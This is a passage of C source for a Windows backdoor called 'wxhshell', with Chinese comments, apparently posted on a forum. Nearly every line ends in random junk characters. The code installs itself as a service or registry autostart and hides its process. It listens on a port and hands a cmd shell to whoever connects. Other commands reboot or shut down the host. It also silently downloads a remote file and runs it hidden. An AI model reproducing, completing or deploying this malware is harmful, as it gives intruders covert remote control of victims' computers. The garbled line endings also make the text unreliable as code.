      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); wtyu"=  
    break; e2F7G>q:5  
  } sP!qv"u  
  // 安装 mer{Jy s  
  case 'i': { Rl8-a8j$f.  
    if(Install()) ~VKXL,.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $T0[  
    else sP7(1)\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2e=Hjf )  
    break; $4]PN2d&  
    } gd*?kXpt  
  // 卸载 WdnP[x9  
  case 'r': { ozG:f*{T  
    if(Uninstall()) eU0-_3gN_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [5-5tipvWp  
    else yFqC-t-i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gw^+[}U#  
    break; @YELqUb*  
    } p IToy;]  
  // 显示 wxhshell 所在路径 `}l%Am  
  case 'p': { e^TF.D?RS  
    char svExeFile[MAX_PATH]; biD7(AK  
    strcpy(svExeFile,"\n\r"); f ;JSP  
      strcat(svExeFile,ExeFile); RCr:2 Iz  
        send(wsh,svExeFile,strlen(svExeFile),0); i :72FVo  
    break; wr(?L7 $+  
    } |Rc#Q<Vh|  
  // 重启 0XNb@ogo  
  case 'b': { =G :H)i  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ' r/1+.  
    if(Boot(REBOOT)) WDq3K/7\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -M}iDBJx>#  
    else { AH+J:8k  
    closesocket(wsh); 0Og =H79<  
    ExitThread(0); R >TtAm0N  
    } @UX`9]-P  
    break; QNY{ p k  
    } U@WT;:.T  
  // 关机 i^(<E0vS  
  case 'd': { oZCO$a  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (XQG"G%U6W  
    if(Boot(SHUTDOWN)) Qd&j~cG@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); so*7LM?ib>  
    else { \9DTf:!4Z  
    closesocket(wsh); VTU-'q  
    ExitThread(0); Rx.0P6s  
    } %k_JLddlW  
    break; AyDK-8a  
    } wpdT "  
  // 获取shell t$J-6dW  
  case 's': { <G={V fr  
    CmdShell(wsh);  ar yr  
    closesocket(wsh); ak zb<aT  
    ExitThread(0); ]3G2mY;`"%  
    break; t@\0$V \X  
  } p5\b&~ g  
  // 退出 tx.sUu6  
  case 'x': { apXq$wWq{D  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 'Tn$lh  
    CloseIt(wsh); ]So%/rOvX  
    break; Qa=;Elp:[  
    } })Jp5vv  
  // 离开 !VW#hc \A5  
  case 'q': { :n=+$Dq  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ty m!7H2  
    closesocket(wsh); : SNp"|  
    WSACleanup(); w[iQndu  
    exit(1); y< 84Gw_  
    break; IaB A2  
        } #X+)  
  } YL]x>7T~4t  
  } /D12N'VaE  
g?ft;kR6S  
  // 提示信息 uv$y"1'g  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >}iYZ[ V  
} 51A>eU|  
  } j<[<qU:  
uAP|ASH9T  
  return; Lqt]  
} R!O'DM+  
M1:m"#=  
// shell模块句柄 a)]N#gx  
int CmdShell(SOCKET sock) XX =A1#H  
{ |<E%hf  
STARTUPINFO si; TUT>*  
ZeroMemory(&si,sizeof(si)); E?V:dr  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^>>Naid  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; QL3%L8  
PROCESS_INFORMATION ProcessInfo; #/aWG  x_  
char cmdline[]="cmd"; j JW0a\0  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); x|Dj   
  return 0; |cH\w"DcXw  
} T SOt$7-  
p8Pvctc  
// 自身启动模式 ?@ O[$9y  
int StartFromService(void) z;-2xD0&U[  
{ P _9O8"W  
typedef struct )vw3Y88  
{ $ysC)5q.  
  DWORD ExitStatus; iVD9MHT4  
  DWORD PebBaseAddress; ;fuy}q8@7  
  DWORD AffinityMask; hod|o1C&  
  DWORD BasePriority; #8'%CUF*<8  
  ULONG UniqueProcessId; OHB!ec6W  
  ULONG InheritedFromUniqueProcessId; oD.f/hi0|  
}   PROCESS_BASIC_INFORMATION; [bAv|;  
m2_B(-  
PROCNTQSIP NtQueryInformationProcess; E 0YXgQa  
 l)?c3  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {w2<;YXj!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; F](kU#3"S  
DpA)Z ??  
  HANDLE             hProcess; yY!jkRq%w  
  PROCESS_BASIC_INFORMATION pbi; 6d_l[N  
Cu}Rq!9i  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `.n[G~*w~1  
  if(NULL == hInst ) return 0; E@?jsN7  
]LD@I;(_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); RAe:$Iv$!v  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); PS>k67sI  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ex-`+cF  
2D "mq~ V  
  if (!NtQueryInformationProcess) return 0; ^uYxeQY[  
~q<U E\H  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); TygR G+G-  
  if(!hProcess) return 0; _9<Ko.GVq  
3]wV`mD  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; c1c0b|B!U  
x.'O_7c0:  
  CloseHandle(hProcess); K]RkKMT,  
>J4_/p>Qs  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *-2u0%  
if(hProcess==NULL) return 0; UlyX$f%2  
$Cte$ jg{;  
HMODULE hMod; zD?<m J`  
char procName[255]; :z.< ||T  
unsigned long cbNeeded; JIK;/1  
&D/_@\ 0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *F=w MWa  
2Ddrxc>48  
  CloseHandle(hProcess); hF6EOCY6D  
#bnFR  
if(strstr(procName,"services")) return 1; // 以服务启动 /QTGZ b  
~dC^|  
  return 0; // 注册表启动 Hf#/o{=~}  
} {<bByHT!  
Ix"uk6 h  
// 主模块 i2EB.Zlv  
int StartWxhshell(LPSTR lpCmdLine) Ehg5u'cj  
{  Y]P]^3  
  SOCKET wsl; Dk:Zeo]+my  
BOOL val=TRUE; F`'e/  
  int port=0; 6zyozJA  
  struct sockaddr_in door; I9_tD@s"(  
)PZ'{S  
  if(wscfg.ws_autoins) Install(); e KET8v[  
0?k/vV4  
port=atoi(lpCmdLine); k0%4&pU  
ky,+xq  
if(port<=0) port=wscfg.ws_port; }nu hLt1  
\07 s'W U  
  WSADATA data; 8eL[ ,uw  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; k pEES{f  
>pr{)bp G  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   xEGI'lt  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); w+ bMDp  
  door.sin_family = AF_INET; ]kR 93  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); U1dz:OG>  
  door.sin_port = htons(port); BH\qm (X  
aiea& aJ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { zf#V89!]C"  
closesocket(wsl); !DD|dVA{  
return 1; B\9ymhx;g%  
} 6 :J @  
xj(&EGY:  
  if(listen(wsl,2) == INVALID_SOCKET) { \#  
closesocket(wsl); (1*?2u*j  
return 1; v@[MX- ,8  
} Z{ &PKS  
  Wxhshell(wsl); % `\8z  
  WSACleanup(); J7$5<  
RytQNwv3  
return 0; Es1Yx\/:  
PoQ@9 A  
} WC0@g5;1[  
v$lP?\P;}X  
// 以NT服务方式启动 (V}D PA  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) s+9q :  
{ g;Bq#/w  
DWORD   status = 0; #N wlKZ-  
  DWORD   specificError = 0xfffffff; Sw>AgES  
Rax}r  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 3%>"|Ye}A  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; FX 0^I 0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; DM"`If%3j  
  serviceStatus.dwWin32ExitCode     = 0; Xfk&{zO-j  
  serviceStatus.dwServiceSpecificExitCode = 0; gtJUQu p2  
  serviceStatus.dwCheckPoint       = 0; &H`yDrg6U  
  serviceStatus.dwWaitHint       = 0; yD(0:g#  
=DUsQN!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0~Z2$`(  
  if (hServiceStatusHandle==0) return; Cj,fP[p#7  
ZI-)'  
status = GetLastError(); Ju Kj  
  if (status!=NO_ERROR) 9-I;'  
{ BB>3Kj:|  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; e=QnGT*b5  
    serviceStatus.dwCheckPoint       = 0; /\(0@To  
    serviceStatus.dwWaitHint       = 0; {C[<7r uF  
    serviceStatus.dwWin32ExitCode     = status; mS6L6)] S  
    serviceStatus.dwServiceSpecificExitCode = specificError; OANn!nZ.  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); P.=&:ay7?  
    return; R@u6mMX{N,  
  } Wl?*AlFlk  
@?f3(G h,  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [?yOJU%`  
  serviceStatus.dwCheckPoint       = 0; Xq1n1_Z  
  serviceStatus.dwWaitHint       = 0; vH9/}w2  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Lr V)}1&5  
} /!uxP~2U  
Rq<T2}K  
// 处理NT服务事件,比如:启动、停止 eZk [6H  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7?dB&m6W  
{ n@Y`g{{e~  
switch(fdwControl) JY~s-jxa  
{ /)e&4.6  
case SERVICE_CONTROL_STOP: x?VX,9;j  
  serviceStatus.dwWin32ExitCode = 0; J+kxb"#d  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ;a[56W  
  serviceStatus.dwCheckPoint   = 0; 2(Vm0E  
  serviceStatus.dwWaitHint     = 0; !i2=zlpb[  
  { ?yU|;my  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K3M<%  
  } 0,{Dw9W:  
  return; j"7 z  
case SERVICE_CONTROL_PAUSE: [}N?'foLb  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ]+{Cy\*kR  
  break; bo4 :|Z  
case SERVICE_CONTROL_CONTINUE: oOnk,U  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; b Bb$0HOF  
  break; O sbY}*S  
case SERVICE_CONTROL_INTERROGATE: 25NZIal<  
  break; ]4@_KKP  
}; 1}}.e^Tsfr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D N GNc  
} GTyS8`5E*  
j|A *rzL8  
// 标准应用程序主函数 >t2 0GmmN  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Ky[/7S5E  
{ -yy&q9  
A\ CtM`  
// 获取操作系统版本 -:h5Ky"  
OsIsNt=GetOsVer(); i-vhX4:bd  
GetModuleFileName(NULL,ExeFile,MAX_PATH); x~?,Wv|cm  
x@;XyQq  
  // 从命令行安装 &gw. &/t  
  if(strpbrk(lpCmdLine,"iI")) Install(); z;xp1t @  
`_N8A A  
  // 下载执行文件 6Y>MW 4q  
if(wscfg.ws_downexe) { &&\ h%-Jc  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) DvKM[z3j  
  WinExec(wscfg.ws_filenam,SW_HIDE); dw5.vXL`  
} n{6XtIoYq  
6@t4pML  
if(!OsIsNt) { h7)^$Hd  
// 如果时win9x,隐藏进程并且设置为注册表启动 No=Ig-It  
HideProc(); G^ZL,{  
StartWxhshell(lpCmdLine); zQMsS  
} /QZnN?k  
else 3?|Fn8dQR.  
  if(StartFromService()) T2P0(rEz  
  // 以服务方式启动 rp6Y&3p.  
  StartServiceCtrlDispatcher(DispatchTable); >JkQ U e  
else ;e_dk4_  
  // 普通方式启动 Ou"QUn|  
  StartWxhshell(lpCmdLine); f<= #WV  
; =ai]AYW  
return 0; nU-.a5  
}
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只看该作者 1 发表于: 2006-10-10
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